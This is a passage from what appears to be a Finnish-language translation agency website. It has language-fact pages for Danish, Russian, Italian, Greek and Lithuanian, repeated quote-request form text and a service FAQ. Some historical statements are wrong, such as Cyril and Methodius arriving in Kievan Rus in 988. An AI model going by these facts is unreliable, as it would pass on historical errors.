skandinaavisissa kielissä, siinä näkyy runsaasti alasaksan vaikutuksia – noin kolmasosa tanskan sanoista on lainattu alasaksasta. Tanskan puhujien arvioitu määrä on noin 5,6 miljoonaa. Tanskaa opetetaan pakollisena aineena kouluissa Färsaarilla, Grönlannissa ja Islannissa. Noin 15–20 % Grönlannin väestöstä puhuu tanskaa. Tanska syntyi muinaisnorjan itämurteesta, mikä tarkoittaa, että tanskalaiset jakoivat kielen norjalaisten kanssa 1100-luvulle saakka. Vuoteen 1814 asti tanska oli myös Norjan virallinen kieli. Vanhimmat kirjalliset näytteet ovat riimukivet noin vuodelta 250. Vanhimmat käsikirjoitukset ovat selviytyneet 1200-luvulta, kuten esimerkiksi Gesta Danorum, joka kertoo ensimmäisistä tanskalaisista hallitsijoista. Ensimmäinen kirja painettiin vuonna 1495, ensimmäinen Raamattu julkaistiin 1550. Tanskan aakkosto koostuu 28 kirjaimesta. Latinalaisen aakkoston lisäksi siihen kuuluvat Æ, Ø ja Å. Noin 30 murretta on jaettu kolmeen pääryhmään: Ømålin murteet, Itä-Tanskan murteet ja Länsi-Tanskan murteet (jutska). Tanska erottelee laskevan, tasaisen ja nousevan intonaation. Niiden käyttö riippuu murteesta tai puhujan subjektiivisista mieltymyksistä. Toisin kuin latviassa, jossa nouseva intonaatio ilmaisee kysymystä, tanskassa sitä käytetään ilmaisemaan suuttumusta. Tanskan substantiiveilla on kaksi sukua: yleinen ja neutri. Useimmat substantiivit ovat yleistä sukua. Yleinen suku syntyi, kun historialliset feminiini ja maskuliini yhdistyivät. Tanskan kielessä käytetään määräisiä ja epämääräisiä artikkeleja, mutta ammatteihin tai kansallisuuksiin viittaavissa substantiiveissa ei käytetä artikkeleja. Substantiivit taivutetaan vain genetiivin muodostamista varten, kun taas muut muodot tehdään käyttämällä prepositiorakenteita. Tanskan adjektiiveja ei taivuteta. Persoonan ja luvun sijaan verbeillä on kolme päämuotoa: infinitiivi, preteriti ja partisiipin perfekti. Näitä muotoja käytetään kaikkien muiden verbimuotojen tekemiseen lisäämällä päätteitä ja apuverbejä. On mielenkiintoista, että kun sanotaan numeroita, tanskalainen aloittaa aina ykkösistä kymmenten sijaan. Tanskan syntaksi määrää, että lauseessa on aina oltava subjekti ja predikaatti; ainoat poikkeukset ovat tapaukset, joissa verbiä käytetään imperatiivissa. Lauseiden sanajärjestys on kiinteä. Yhdessä lauseessa voidaan käyttää vain yhtä kieltosanaa. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-tanska, tanska-latvia, viro-tanska, tanska-viro, liettua-tanska, tanska-liettua, venäjä-tanska, tanska-venäjä, puola-tanska, tanska-puola, ukraina-tanska, tanska-ukraina, englanti-tanska, tanska-englanti, tanska-espanja, espanja-tanska, saksa-tanska, tanska-saksa, italia-tanska, tanska-italia, ranska-tanska, tanska-ranska, tšekki-tanska, tanska-tšekki, norja-tanska, tanska-norja, ruotsi-tanska, tanska-ruotsi, suomi-tanska, tanska-suomi ja muita. --- > Yleiset ja erikoistuneet, notaarin oikeaksi todistamat käännökset, tulkkaus, lokalisointipalvelut. Venäjän kielen kurssit. - Published: 2022-06-15 - Modified: 2024-10-29 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA VENÄJÄN KIELESTÄ Venäjä on slaavilainen kieli, joka kuuluu indoeurooppalaiseen kielikuntaan. Venäjän kieli on alkujaan peräisin 7. vuosisadalta, jolloin siihen asti kantaslaavia puhuneet heimot alkoivat käyttää kielen kolmea alueellista alaryhmää: itäslaavia, länsislaavia ja eteläslaavila. Itäslaavi, eli vanha venäjä, oli Kiovan Venäjän virallinen kieli. Kielen aseman heikkeneminen johtui hallinnon hajoamisesta 1300-luvulla. Merkittävä tekijä venäjän kielen kehityksessä olivat pyhät Kyrillos ja Methodius, kristinuskon lähetyssaarnaajat, jotka saapuivat Bysantin valtakunnasta Kiovan Venäjälle vuonna 988. Heidän vaivannäkönsä ansiosta ‘kyrillinen kirjaimisto’ luotiin pyhimysten kehittämän glagoliittisen aakkoston pohjalta. Se on käytössä yhä nykyään venäjän kansallisen kielen ja useiden muiden slaavilaisten kansojen virallisena aakkostona. Kiovan Venäjän kaatumisen ja Kultaisen ordan invaasion jälkeen 1300-luvulla, itäslaavilaiset kielet kehittyivät useiksi kieliksi, mukaan lukien venäjäksi. Venäjä muodostuu Pohjois-Venäjän murteista, joissa painoton “o” äännetään selkeästi, ja Etelä-Venäjän murteista, joissa painoton “o” useimmiten pelkistyy muotoon “a” sekä Keski-Venäjän murteista, joita puhutaan Moskovasta Pietariin. Venäjän yleiskieli perustuu jälkimmäiseen. Vuodesta 1942 lähtien venäläinen aakkosto on koostunut 33 kirjaimesta ja perustuu kyrilliseen kirjaimistoon. Venäjän kielessä on yhteensä noin 160 000 sanaa. Painolliset vokaalit ovat merkittäviä venäjässä, mutta ei ole yhtenäisiä kieliopillisia sääntöjä siitä, mitä vokaaleja tulisi painottaa. Joskus eri vokaalien taivutus homonyymeissä sanoissa voi muuttaa niiden merkitystä. Ivan Fyodorov (Иван Фёдоров) (1520–1583) oli ensimmäinen venäläinen painaja ja kustantaja. Hän julkaisi ensimmäisen kirjan venäjäksi, “Апостол” (Apostolos) vuonna 1564. Ensimmäinen Venäjällä venäjäksi painettu sanomalehti oli “Ведомости” (Vedomosti) Pietari Suuren kaudella 16. joulukuuta 1703. Ensimmäinen venäjänkielinen sanomalehti Latvian alueella oli “Российское еженедельное издание в Риге” (Venäjän viikkojulkaisu Riiassa), painettu vuonna 1816 Riiassa. Yksi kuuluisimmista venäläisistä runoilijoista ja kirjailijoista on Alexander Pushkin, jota pidetään modernin venäläisen kirjallisuuden perustajana. Venäjä on noin 145 miljoonan ihmisen äidinkieli, se on maailman kahdeksanneksi puhutuin kieli ja neljännellä sijalla kaikkien puhujien kokonaismäärästä (255 – 280 miljoonaa). Venäjä on Venäjän lisäksi virallinen kieli useissa maissa, kuten Valko-Venäjällä, Kazakstanissa ja Kirgisiassa. Venäjän puhujien määrä on suuri myös Israelissa, Latviassa, Liettuassa, Moldovassa, Ukrainassa ja muissa maissa. Latviassa venäjä on toiseksi puhutuin kieli latvian jälkeen. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-venäjä, venäjä-latvia, viro-venäjä, venäjä-viro, liettua-venäjä, venäjä-liettua, puola-venäjä, venäjä-puola, ukraina-venäjä, venäjä-ukraina, englanti-venäjä, venäjä-englanti, venäjä-espanja, espanja-venäjä, saksa-venäjä, venäjä-saksa, italia-venäjä, venäjä-italia, ranska-venäjä, venäjä-ranska, tanska-venäjä, venäjä-tanska, tšekki-venäjä, venäjä-tšekki, norja-venäjä, venäjä-norja, ruotsi-venäjä, venäjä-ruotsi, suomi-venäjä, venäjä-suomi ja muita. --- > Yleiset ja erikoistuneet, notaarin valtuuttamat käännökset italian kielellä. Tulkkauspalvelut ja italian kielen kurssit. - Published: 2022-06-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA ITALIAN KIELESTÄ Italia on romaaninen kieli, joka kuuluu indoeurooppalaiseen kielikuntaan, ja se on noin 65 miljoonan ihmisen äidinkieli. Italian kielen alkuperä juontaa juurensa 1. vuosisadalle eaa. , jolloin kieli alkoi kehittyä vulgaarilatinan pohjalta. Varhaisimmat kirjalliset näytteet italiasta ovat 900-luvulta ja ne kattavat useita lyhyitä muistiinpanoja ja tekstejä. Vanhin säilynyt italiankielinen teksti on päivätty vuodelle 960. Italian yleiskielen kehittyminen kesti pitkään, sillä kirjoittajat kirjoittivat lähinnä oman alueensa murteilla. Italian kirjallisuuden kieli perustuu Toscanan (Firenze) murteeseen, joka yleistyi 1400- ja 1500-luvuilla suosittujen kirjailijoiden kuten Dante Alighierin, Giovanni Boccaccion ja Francesco Petrarchin ansiosta. Italian kielessä on yhä useita murteita, jotka eroavat huomattavasti toisistaan jopa siinä määrin, että eri murteiden puhujilla saattaa olla vaikeuksia ymmärtää toisiaan. Esimerkiksi Sisilian murretta jotkut kielitieteilijät pitävät erillisenä kielenä. Italiassa käytetään latinalaista aakkostoa, joka koostuu 21 kirjaimesta. Aakkosto ei sisällä kirjaimia “j”, “k”, “w”, “x” ja “y”, vaikka niitä käytetään joskus eri lainasanoissa. Useissa vokaaleissa voi olla diakriittisiä merkkejä, jotka muuttavat sanan ääntämistä tai sanan merkitystä. Italian kielessä käytetään substantiivien edellä artikkeleja osoittamassa sanan sukua ja lukua. Artikkelia “la” käytetään feminiinisistä substantiiveista ja artikkelia “il” käytetään maskuliinisista substantiiveista. Monikossa feminiinisillä substantiiveilla on artikkeli “le”, kun taas maskuliinisilla substantiiveilla on artikkeli “i”. Lisäksi italiassa on olemassa epämääräinen artikkeli “una” feminiinisille ja “un” maskuliinisille substantiiveille. Italia on virallinen kieli Italiassa, San Marinossa, Sveitsissä ja Vatikaanivaltiossa. Sitä puhutaan vähemmistökielenä Eritreassa, Ranskassa, Kroatiassa, Libyassa, Maltalla, Monacossa, Sloveniassa ja Somaliassa. Suuria italiankielisiä yhteisöjä elää Argentiinassa, Yhdysvalloissa, Australiassa, Brasiliassa, Chilessä ja Kanadassa. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-italia, italia-latvia, viro-italia, italia-viro, liettua-italia, italia-liettua, venäjä-italia, italia-venäjä, puola-italia, italia-puola, ukraina-italia, italia-ukraina, englanti-italia, italia-englanti, italia-espanja, espanja-italia, saksa-italia, italia-saksa, ranska-italia, italia-ranska, tanska-italia, italia-tanska, tšekki-italia, italia-tšekki, norja-italia, italia-norja, ruotsi-italia, italia-ruotsi, suomi-italia, italia-suomi ja muita. --- > Erikoistuneet ja yleiskäännökset kreikan kielellä. Tulkkauspalvelut ja muut kreikan kielen ratkaisut. Pyydä ilmainen tarjous! - Published: 2022-06-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA KREIKAN KIELESTÄ Kreikka kuuluu indoeurooppalaiseen kielikuntaan ja sitä kutsutaan usein eurooppalaisen kulttuurin ensimmäiseksi kieleksi. Nykyään maailmassa on noin 15 miljoonaa tämän kielen puhujaa. Se on Kreikan ja Kyproksen virallinen kieli, mutta sitä käytetään myös Albaniassa, Iso-Britanniassa, Armeniassa, Yhdysvalloissa, Bulgariassa, Etelä-Afrikassa, Egyptissä, Ranskassa, Georgiassa, Italiassa, Jordaniassa, Kazakstanissa, Venäjällä, Makedoniassa, Romaniassa, Espanjassa ja Ukrainassa. Historiallisesti kreikalla oli useita kehitysvaiheita: Alkukreikka, mykeneläinen kreikka, muinaiskreikka, Koinee-kreikka, keskiajan kreikka ja nykykreikka. Varhaisimmat kirjalliset todisteet savitaulujen muodossa ovat säilyneet alkukreikan ajoilta ja niiden sisältöä ei ole täysin kyetty selvittämään. Merkittävimpiä kirjallisia lähteitä tältä kaudelta ovat Homeroksen eepokset, kuten Ilias ja Odysseia, jotka on kirjoitettu 800-700-luvulla eaa. Mykeneläisen kreikan vaihe ajoittuu samaan aikaan mykeneläisen kulttuurin kanssa. Jotkut kirjalliset todisteet ovat peräisin 1400–1300-luvuilta eaa. Muinaiskreikka oli antiikin Kreikan kieli. Muinaiskreikan murteet yhdistyivät muodostaen niin sanotun Koinen (‘yhteinen’) kreikan, josta tuli ensimmäinen lingua franca Välimeren itärannikolta aina Kaukoidän alueille yhdistäen antiikin maailman. Se kehittyi ensin Aleksanteri Suuren valloittamilla alueilla, mutta helleenisen invaasion jälkeen sitä puhuttiin Egyptistä Intiaan. Antiikin Kreikan hajoamisen jälkeen Koinen-kreikkaa käytettiin laajalti Rooman ja Bysantin valtakunnissa. Foinikialaisesta kirjoituksesta muotoutui noin 600-luvulla kreikkalainen aakkosto, jossa jokainen kirjain vastaa äännettä. Alun perin Kreikan aakkoston kirjaimia käytettiin myös numeroihin. Puhekieli kehittyi paljon nopeammin kuin kirjakieli – kun puhuttiin muinaiskreikkaa, kirjalliset tekstit olivat edelleen alkukreikkaa. Nykykreikka tuli käyttöön 1300-luvulla ja on käytössä yhä edelleen. Tässä kielessä on kaksi muunnosta: arkikieli, eli Demotic ja konservatiivinen, eli Katharevousa. Katharevousaa käytetään virallisissa laitoksissa ja se muistuttaa hieman Koinea. Nykykreikka on huomattavasti erilainen kuin alkukreikka. Nykykielen puhujat eivät välttämättä ymmärrä alkukreikkalaista kirjoitusta. Alkukreikka on suurelta osin nykyisen kansainvälisyyden taustalla. Pääsääntöisesti käännettäessä kreikan pronomineja latviaan, ne säilyttävät päätteensä, edellyttäen että ne löytyvät myös latviasta. Esimerkiksi kreikan pronomini ‘Mikis’ pysyy samana latviaksi. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-kreikan, kreikan-latvia, viro-kreikan, kreikan-viro, liettua-kreikan, kreikan-liettua, venäjä-kreikan, kreikan-venäjä, puola-kreikan, kreikan-puola, ukraina-kreikan, kreikan-ukraina, englanti-kreikan, kreikan-englanti, kreikan-espanja, espanja-kreikan, saksa-kreikan, kreikan-saksa, italia-kreikan, kreikan-italia, ranska-kreikan, kreikan-ranska, tanska-kreikan, kreikan-tanska, norja-kreikan, kreikan-norja, ruotsi-kreikan, kreikan-ruotsi, suomi-kreikan, kreikan-suomi ja muita. --- > Yleiset ja erikoistuneet, notaarin oikeaksi todistamat käännökset liettuan kielellä. Tulkkaus ja muut liettuan kielen ratkaisut. - Published: 2022-06-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA LIETTUAN KIELESTÄ Liettua kuuluu indoeurooppalaisen kielikunnan balttilaisiin kieliin. Se on Liettuan virallinen kieli, mutta vähemmistökielenä sitä käytetään useimmiten Latviassa, Virossa ja jossain määrin Puolassa ja Valko-Venäjällä. Liettuaa puhuu yhteensä noin 3,15 miljoonaa ihmistä: 2,9 miljoonaa Liettuassa ja noin 200 000 ulkomailla. Liettuan kieli on sukua latvian kielelle. Uskotaan, että molemmat kielet kehittyivät yhdessä 1200-luvulle asti ja jakautuivat vasta myöhemmin eri kieliksi. Näiden kielten alkuperä on peräti 3. vuosisadalla eaa. , kun Itämeren rannikolla asuivat muinaiset baltit. Liettuan kielessä on kaksi päämurretta: Aukštaitian ja Samogitian (yläliettua ja alaliettua). Molemmilla murteilla on kolme alamurretta, jotka voidaan jakaa edelleen 14 alamurteeseen. Varhaisin jälki kirjoitetusta liettuasta – liturginen teksti – on vuodelta 1525, kun taas ensimmäinen painettu liettuankielinen kirja valmistettiin kirkollisiin tarkoituksiin vuonna 1547. 1500–1700-luvun lopun välisenä aikana Liettuassa oli jopa kolme kieliversiota. Jonas Jablonskis panosti merkittävästi liettuan yleiskielen muodostamiseen yläliettuan murteen pohjalta. Nykyinen liettuan yleiskieli muodostui vakavissa olosuhteissa, jossa Venäjän valtion venäläistämispolitiikkaan kuului liettuankielisten kirjojen julkaisukielto puolen vuosisadan ajan vuoden 1864 jälkeen nykyisen Liettuan alueella. Niitä kuitenkin salakuljetettiin. Liettuassa käytetään latinalaista aakkostoa, joka koostuu 32 kirjaimesta. Useimmat liettuan lainasanat ovat peräisin slaavilaisista, germaanisista ja muista balttilaisista kielistä sekä suomalais-ugrilaisesta kieliperheestä. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-liettua, liettua-latvia, viro-liettua, liettua-viro, venäjä-liettua, liettua-venäjä, puola-liettua, liettua-puola, ukraina-liettua, liettua-ukraina, englanti-liettua, liettua-englanti, liettua-espanja, espanja-liettua, saksa-liettua, liettua-saksa, italia-liettua, liettua-italia, ranska-liettua, liettua-ranska, tanska-liettua, liettua-tanska, tšekki-liettua, liettua-tšekki, norja-liettua, liettua-norja, ruotsi-liettua, liettua-ruotsi, suomi-liettua, liettua-suomi ja muita. --- > Usein kysyttyjä kysymyksiä ja vastauksia Skrivanekin Baltian kielipalveluista. Etkö löytänyt vastausta kysymykseen? Ota yhteyttä! - Published: 2022-06-13 - Modified: 2024-08-22 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic on sertifioitu käännöstoimisto, joka on toiminut ja tarjonnut korkealuokkaisia kielipalveluita Latviassa vuodesta 2003 lähtien. Skrivanek on yksi maailman suurimmista kielipalvelujen tarjoajista yli 20 vuoden kokemuksella. Tällä hetkellä meillä on lähes 50 toimipistettä eri maissa: Yhdysvalloissa, Itävallassa, Belgiassa, Bulgariassa, Tšekin tasavallassa, Virossa, Liettuassa, Puolassa, Slovakiassa, Sloveniassa ja Saksassa. Käännöspalvelun hinta lasketaan lähdekielen asiakirjan sanamäärän, kieliparin ja muiden tekijöiden perusteella. Lähetä asiakirjasi meille, niin teemme sinulle tarjouksen palvelun hinnasta ennen kääntämisen aloittamista. Ilmaisen tarjouksen vastaanottaminen ei velvoita tekemään yhteistyötä kanssamme. Kyllä, kaikki luonnollisten henkilöiden hinnat sisältävät arvonlisäveron. Yritysasiakkaille hinnat näkyvät ilman arvonlisäveroa. EU-lainsäädännön mukaan emme veloita arvonlisäveroa palveluista, joita tarjotaan ALV-rekisteröityneille yrityksille muissa jäsenmaissa. Käänteisen verovelvollisuuslainsäädännön mukaan verovelvollisuus siirtyy palvelujen vastaanottajalle. Jos sinulla on Microsoft Word -asiakirja, käytä Sanamäärä-toimintoa (Tarkista à Sanamäärä). Jos asiakirjasi on muussa muodossa (tuloste, JPG, HTML, PHP, ASP, jne. ), lähetä se sähköpostitse meille, niin teemme sinulle ilmaisen tarjouksen. Sovimme määräajan ennen tilauksen aloittamista. Yleensä enintään 500 sanan kääntäminen kestää yhden työpäivän, kun taas yli 1 000 sanan kääntäminen kestää vähintään puolitoista päivää. Poikkeustapauksissa teemme myös kiireellisiä käännöksiä. Se voi olla missä tahansa sähköisessä muodossa – voimme käsitellä useita muotoja. Jos asiakirjasi ei ole saatavilla sähköisenä, lähetä se meille kuvana. Voimme kääntää mitä tahansa ja missä tahansa sähköisessä muodossa säilyttäen silti alkuperäisen asiakirjan muotoilun. Lokalisointipalvelussa noudatamme asiakkaan antamia erityisiä ohjeita tai ohjelmiston määrittämiä asetuksia. Oikein mielellämme! Skrivanekilla on laaja kokemus ja taito erilaisten verkkosivujen ja hallintajärjestelmien kääntämisestä ja lokalisoinnista. Varmistamme aina ammattimaisen lähestymistavan ja löydämme sopivimman ratkaisun tilanteeseesi varmistaaksemme parhaan tuloksen kyseisissä kieliyhdistelmissä. Vaikka suurin osa käännöksistämme tulee oikeushenkilöiltä, työskentelemme mielellämme myös luonnollisten henkilöiden kanssa. Notaarin varmentavat käännökset ovat yleisin palvelu luonnollisille henkilöille. Kielikurssit, lasten ja nuorten leirit ovat myös suosittuja. Molemmat ovat kielen ammattilaisia, mutta ero on siinä, että kääntäjä tarjoaa kirjallisia käännöksiä, kun taas tulkki tarjoaa suullisia käännöksiä joko konsekutiivisesti tai simultaanisesti. Käsittelemme alkuperäisiä asiakirjoja sähköisesti muuttamatta niiden tyyliä tai muotoilua aina, kun se on mahdollista. Tarvittaessa takaamme, että asiakkaan asiakirjan käännös näyttää täysin samalta kuin alkuperäinen tai muotoilemme sen asiakkaan ohjeiden mukaisesti julkaisuhenkilöstömme avustuksella. Meillä on sertifioinnit ISO 9001, EN 17100 ja ISO 27001. Olemme sitoutuneet luottamuksellisuuteen, ottamaan vastuun kaikista töistämme ja olemaan aina ajoissa! EN 17100 asettaa käännösprosessille vaatimuksia, jotka vaikuttavat suoraan käännöspalvelun laatuun ja toimittamiseen. Asiakkaidemme tyytyväisyyden takeeksi olemme allekirjoittaneet kansainvälisen vakuutusyhtiön AIG:n kanssa ammatillisen vastuun sopimuksen. Tarjoamme myös notaarin sertifioimia käännöksiä tai sertifioimme ne itse. Ei, kaikki käännöstilaukset ovat projektipäälliköiden hyväksymiä ja valvomia. Projektipäällikkö muodostaa tehokkaan yhteyden asiakkaan ja toimittajan välille. Skrivanek Balticin kääntäjät ja tulkit voivat tarjota palveluita yli 110 kielellä. Tarjoamme laajan valikoiman kielipalveluita – käännös- ja tulkkauspalveluita, lokalisointipalveluita, tekstin mukauttamista, tekstien kirjoittamista ja taittoa. Tulkkausta järjestetään konferensseissa, liiketapaamisissa ja oikeudenkäyntimenettelyissä. Kääntäminen sisältää erikoiskäännöksiä ja yleisiä käännöksiä eri toimialoille. Kyllä, usein jopa luomme yhteistyökumppaneillemme tiimejä kielen asiantuntijoista, jotta palvelut ovat aina samojen kääntäjien tai tulkkien tuottamia. Otamme mielellämme palautetta vastaan ja pyydämme samaa kielen ammattilaista hoitamaan palvelusi. Vakioasiakkaillamme on myös omat projektipäälliköt. Se riippuu jokaisesta yksittäisestä tapauksesta ja tarpeistasi. Vain sinä voit päättää, kuinka monta tuntia tarvitset tulkkia. Kun teksti on tarkoitettu markkinointi- tai mainostarkoituksiin, yksinkertainen käännös ei riitä – useimmiten teksti on lokalisoitava sekä sanonnat ja muut vastaavat ilmaisut on muutettava siten, että kohdekielen käyttäjät ymmärtävät ne helposti. Tällöin tekstit mukautetaan täysin vastaamaan kohdekielisen yleisön vaatimuksia. Tietokoneavusteiset käännöstyökalut (CAT) ovat ohjelmia, joiden tarkoitus on helpottaa käännösprosessia. Käännöstyökalut eivät tarkoita tietokoneistettua tai automaattista käännöstä, mutta ne tekevät kääntämisestä nopeampaa, varmistavat terminologian yhdenmukaisen käytön, pienentävät käännöskustannuksia ja tarjoavat muita etuja. Nämä työkalut mahdollistavat myös kaikkien käännettyjen tekstien tallentamisen, jolloin identtiset lauseet täytyy kääntää vain kerran. Ne ovat erityisen hyödyllisiä käännettäessä talousaiheisia ja teknisiä tekstejä sekä lääkekuvauksia, verkkosivustoja ja ohjelmistoja. Etkö löytänyt vastausta kysymykseesi? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen 